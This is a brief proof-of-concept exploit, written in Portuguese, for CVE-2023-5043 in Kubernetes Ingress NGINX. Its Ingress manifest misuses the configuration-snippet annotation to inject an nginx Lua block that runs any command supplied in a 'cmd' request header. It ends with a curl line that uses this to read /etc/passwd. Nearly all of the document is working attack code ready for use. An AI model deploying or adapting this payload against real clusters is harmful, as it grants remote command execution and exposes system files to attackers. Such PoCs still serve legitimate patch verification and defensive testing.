
Prova de conceito de exploit para CVE-2023-5043, demonstrando execução arbitrária de comandos via injeção de anotação no Ingress NGINX no Kubernetes, com acionador de RCE baseado em curl.
Injeção de anotação no Ingress nginx causa execução arbitrária de comandos
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: ingress-exploit
annotations:
kubernetes.io/ingress.class: "nginx"
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "robinak"
proxy_pass http://upstream_balancer;
proxy_redirect off;
}
location /robinak/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
rules:
- host: robinak.me
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: exploit
port:
number: 80
curl -v -H 'Host: robinak.me' -H "cmd: cat /etc/passwd" http://IP/robinak/
